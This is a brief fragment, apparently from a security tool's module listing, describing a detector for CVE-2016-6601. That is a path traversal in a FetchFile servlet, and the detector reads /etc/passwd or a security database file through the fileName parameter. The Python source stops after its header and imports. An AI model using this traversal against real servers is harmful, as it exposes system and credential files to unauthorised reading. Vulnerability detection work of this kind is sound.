FetchFile Servlet - Path Traversal Detection (CVE-2016-6601)

Detects CVE-2016-6601 by reading /etc/passwd or conf/securitydbData.xml via /servlets/FetchFile?fileName=. !/usr/bin/env python3 -- coding: utf-8 -- """Multiple vendors /servlets/FetchFile path traversal CVE-2016-6601.""" import re from kittysploit import from lib.protocols.http.httpclient import...